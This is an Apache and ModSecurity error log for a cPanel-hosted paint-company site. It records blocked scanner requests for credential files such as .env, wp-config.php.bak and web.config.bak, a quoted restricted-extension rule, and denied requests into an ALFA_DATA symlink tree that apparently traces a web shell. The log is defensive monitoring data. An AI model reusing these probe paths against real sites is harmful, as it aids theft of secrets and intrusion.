[Tue Oct 27 11:34:03.263406 2026] [security2:error] [pid 3240911:tid 3240911] [client 34.53.184.30:59748] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auDEawY08XOpcUzVxFxUuAAAABM"]
[Tue Oct 27 11:34:03.263546 2026] [security2:error] [pid 3240911:tid 3240911] [client 34.53.184.30:59748] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auDEawY08XOpcUzVxFxUuAAAABM"]
[Tue Oct 27 11:34:03.263790 2026] [security2:error] [pid 3240911:tid 3240911] [client 34.53.184.30:59748] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auDEawY08XOpcUzVxFxUuAAAABM"]
[Tue Oct 27 11:34:03.285759 2026] [security2:error] [pid 3257226:tid 3257226] [client 34.53.184.30:59768] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auDEa3GERCR4kETtK7LcvQAAABg"]
[Tue Oct 27 11:34:03.285898 2026] [security2:error] [pid 3257226:tid 3257226] [client 34.53.184.30:59768] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auDEa3GERCR4kETtK7LcvQAAABg"]
[Tue Oct 27 11:34:03.286213 2026] [security2:error] [pid 3257226:tid 3257226] [client 34.53.184.30:59768] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auDEa3GERCR4kETtK7LcvQAAABg"]
[Tue Oct 27 11:34:03.287404 2026] [security2:error] [pid 3257836:tid 3257836] [client 34.53.184.30:59752] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "auDEa6-hHEA5KuUIXOZFDQAAAB8"]
[Tue Oct 27 11:34:03.287582 2026] [security2:error] [pid 3257836:tid 3257836] [client 34.53.184.30:59752] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "auDEa6-hHEA5KuUIXOZFDQAAAB8"]
[Tue Oct 27 11:34:03.287815 2026] [security2:error] [pid 3257836:tid 3257836] [client 34.53.184.30:59752] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "auDEa6-hHEA5KuUIXOZFDQAAAB8"]
[Tue Oct 27 11:34:03.289190 2026] [security2:error] [pid 3250159:tid 3250159] [client 34.53.184.30:59770] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /test/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/test/.env"] [unique_id "auDEaw23RZndSc31yX5t0AAAABQ"]
[Tue Oct 27 11:34:03.289352 2026] [security2:error] [pid 3250159:tid 3250159] [client 34.53.184.30:59770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/test/.env"] [unique_id "auDEaw23RZndSc31yX5t0AAAABQ"]
[Tue Oct 27 11:34:03.289556 2026] [security2:error] [pid 3250159:tid 3250159] [client 34.53.184.30:59770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/test/.env"] [unique_id "auDEaw23RZndSc31yX5t0AAAABQ"]
[Tue Oct 27 11:34:03.325913 2026] [security2:error] [pid 3258347:tid 3258347] [client 34.53.184.30:59776] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "auDEa2xfQD-hO3BCxC9rQAAAAAI"]
[Tue Oct 27 11:34:03.326112 2026] [security2:error] [pid 3258347:tid 3258347] [client 34.53.184.30:59776] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "auDEa2xfQD-hO3BCxC9rQAAAAAI"]
[Tue Oct 27 11:34:03.326387 2026] [security2:error] [pid 3258347:tid 3258347] [client 34.53.184.30:59776] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "auDEa2xfQD-hO3BCxC9rQAAAAAI"]
[Tue Oct 27 11:34:03.330538 2026] [security2:error] [pid 3256853:tid 3256853] [client 34.53.184.30:59676] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "auDEa1TmXkizvR8k42UItQAAABU"]
[Tue Oct 27 11:34:03.330677 2026] [security2:error] [pid 3256853:tid 3256853] [client 34.53.184.30:59676] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "auDEa1TmXkizvR8k42UItQAAABU"]
[Tue Oct 27 11:34:03.330886 2026] [security2:error] [pid 3256853:tid 3256853] [client 34.53.184.30:59676] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "auDEa1TmXkizvR8k42UItQAAABU"]
[Tue Oct 27 11:34:03.332045 2026] [security2:error] [pid 3257907:tid 3257907] [client 34.53.184.30:59690] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auDEa9mgjCRRylsqPBT2BwAAACo"]
[Tue Oct 27 11:34:03.332222 2026] [security2:error] [pid 3257907:tid 3257907] [client 34.53.184.30:59690] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auDEa9mgjCRRylsqPBT2BwAAACo"]
[Tue Oct 27 11:34:03.332458 2026] [security2:error] [pid 3257907:tid 3257907] [client 34.53.184.30:59690] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auDEa9mgjCRRylsqPBT2BwAAACo"]
[Tue Oct 27 11:34:03.332502 2026] [security2:error] [pid 3245436:tid 3245436] [client 34.53.184.30:59700] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/wp-config.php.bak"] [unique_id "auDEa0T-nkC2k8zcLn8WEQAAAAE"]
[Tue Oct 27 11:34:03.332633 2026] [security2:error] [pid 3245436:tid 3245436] [client 34.53.184.30:59700] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/wp-config.php.bak"] [unique_id "auDEa0T-nkC2k8zcLn8WEQAAAAE"]
[Tue Oct 27 11:34:03.332831 2026] [security2:error] [pid 3245436:tid 3245436] [client 34.53.184.30:59700] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/wp-config.php.bak"] [unique_id "auDEa0T-nkC2k8zcLn8WEQAAAAE"]
[Tue Oct 27 11:34:03.338529 2026] [security2:error] [pid 3240911:tid 3240911] [client 34.53.184.30:59748] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "plantas3.sherwinpinturas.com"] [uri "/wp-content/debug.log"] [unique_id "auDEawY08XOpcUzVxFxUuQAAABM"]
[Tue Oct 27 11:34:03.338720 2026] [security2:error] [pid 3240911:tid 3240911] [client 34.53.184.30:59748] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/wp-content/debug.log"] [unique_id "auDEawY08XOpcUzVxFxUuQAAABM"]
[Tue Oct 27 11:34:03.338931 2026] [security2:error] [pid 3240911:tid 3240911] [client 34.53.184.30:59748] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/wp-content/debug.log"] [unique_id "auDEawY08XOpcUzVxFxUuQAAABM"]
[Tue Oct 27 11:34:03.360616 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.53.184.30:59716] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /Web.config found within REQUEST_FILENAME: /web.config.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/web.config.bak"] [unique_id "auDEa1oIklFaGsOHQ-PJNAAAAAw"]
[Tue Oct 27 11:34:03.360772 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.53.184.30:59716] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/web.config.bak"] [unique_id "auDEa1oIklFaGsOHQ-PJNAAAAAw"]
[Tue Oct 27 11:34:03.361003 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.53.184.30:59716] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/web.config.bak"] [unique_id "auDEa1oIklFaGsOHQ-PJNAAAAAw"]
[Tue Oct 27 11:34:05.724914 2026] [ssl:error] [pid 3258392:tid 3258392] (70014)End of file found: [client 44.197.76.210:3944] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:34:05.725130 2026] [security2:error] [pid 3258392:tid 3258392] [client 44.197.76.210:3944] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory16/node0/memory4/power/runtime_suspended_time"] [unique_id "auDEbfneZYf2Wc6hCuU2PQAAABI"]
[Tue Oct 27 11:34:05.725163 2026] [security2:error] [pid 3258392:tid 3258392] [client 44.197.76.210:3944] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory16/node0/memory4/power/runtime_suspended_time"] [unique_id "auDEbfneZYf2Wc6hCuU2PQAAABI"]
[Tue Oct 27 11:34:12.196399 2026] [ssl:error] [pid 3258397:tid 3258397] (70014)End of file found: [client 50.17.193.48:61524] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:34:15.738424 2026] [ssl:error] [pid 3257836:tid 3257836] (70014)End of file found: [client 52.54.15.103:31960] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:34:20.918309 2026] [ssl:error] [pid 3240715:tid 3240715] (95)Operation not supported: [client 185.191.171.13:29706] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:34:22.684580 2026] [ssl:error] [pid 3257907:tid 3257907] (95)Operation not supported: [client 185.191.171.13:29712] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:34:31.676828 2026] [ssl:error] [pid 3258397:tid 3258397] (70014)End of file found: [client 98.84.60.17:16004] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:34:43.564505 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 34.227.234.246:5597] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:34:47.242174 2026] [authz_core:error] [pid 3254132:tid 3254132] [client 195.178.110.50:6136] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 11:34:48.142846 2026] [ssl:error] [pid 3245437:tid 3245437] (70014)End of file found: [client 3.213.106.226:12150] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:34:51.435391 2026] [ssl:error] [pid 3258397:tid 3258397] (70014)End of file found: [client 107.20.25.33:22066] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:34:55.558721 2026] [ssl:error] [pid 3257836:tid 3257836] (70014)End of file found: [client 52.71.218.25:7564] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:34:56.591320 2026] [core:error] [pid 3258347:tid 3258347] (13)Permission denied: [client 85.208.96.211:36756] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/ip_set_hash_ip/sections/__bug_table
[Tue Oct 27 11:34:59.508370 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 44.207.207.36:1708] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:35:03.377972 2026] [ssl:error] [pid 3245437:tid 3245437] (70014)End of file found: [client 52.23.112.144:34369] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:35:15.289711 2026] [ssl:error] [pid 3252638:tid 3252638] (70014)End of file found: [client 52.207.47.227:10357] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:35:19.391165 2026] [ssl:error] [pid 3258391:tid 3258391] (70014)End of file found: [client 52.205.113.104:20814] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:35:21.782395 2026] [authz_core:error] [pid 3258398:tid 3258398] [client 216.73.217.51:23072] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escu.com/php.ini
[Tue Oct 27 11:35:22.814887 2026] [authz_core:error] [pid 3258398:tid 3258398] [client 216.73.217.51:23072] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Tue Oct 27 11:35:23.462447 2026] [authz_core:error] [pid 3258393:tid 3258393] [client 216.73.217.51:35058] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas2.com/php.ini
[Tue Oct 27 11:35:23.873519 2026] [authz_core:error] [pid 3258393:tid 3258393] [client 216.73.217.51:35058] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas1.com/php.ini
[Tue Oct 27 11:35:24.400570 2026] [authz_core:error] [pid 3258393:tid 3258393] [client 216.73.217.51:35058] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.com/php.ini
[Tue Oct 27 11:35:24.908147 2026] [authz_core:error] [pid 3258393:tid 3258393] [client 216.73.217.51:35058] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Tue Oct 27 11:35:27.338734 2026] [core:error] [pid 3258396:tid 3258396] (13)Permission denied: [client 54.80.185.200:38552] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/graphics/fb0/device/subsystem/rescan
[Tue Oct 27 11:35:33.298097 2026] [core:error] [pid 3245436:tid 3245436] (13)Permission denied: [client 85.208.96.200:14788] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-64/slab_size
[Tue Oct 27 11:35:39.261399 2026] [ssl:error] [pid 3257805:tid 3257805] (70014)End of file found: [client 50.16.72.185:28764] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:35:42.212843 2026] [core:error] [pid 3252638:tid 3252638] (13)Permission denied: [client 185.191.171.14:34660] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/trace_event_file/aliases
[Tue Oct 27 11:35:43.319405 2026] [ssl:error] [pid 3238477:tid 3238477] (70014)End of file found: [client 52.3.26.180:5951] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:35:47.061351 2026] [ssl:error] [pid 3238477:tid 3238477] (70014)End of file found: [client 3.225.45.252:51976] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:35:51.161430 2026] [ssl:error] [pid 3258393:tid 3258393] (70014)End of file found: [client 34.206.249.188:61530] AH02013: coalesce failed to read from data bucket
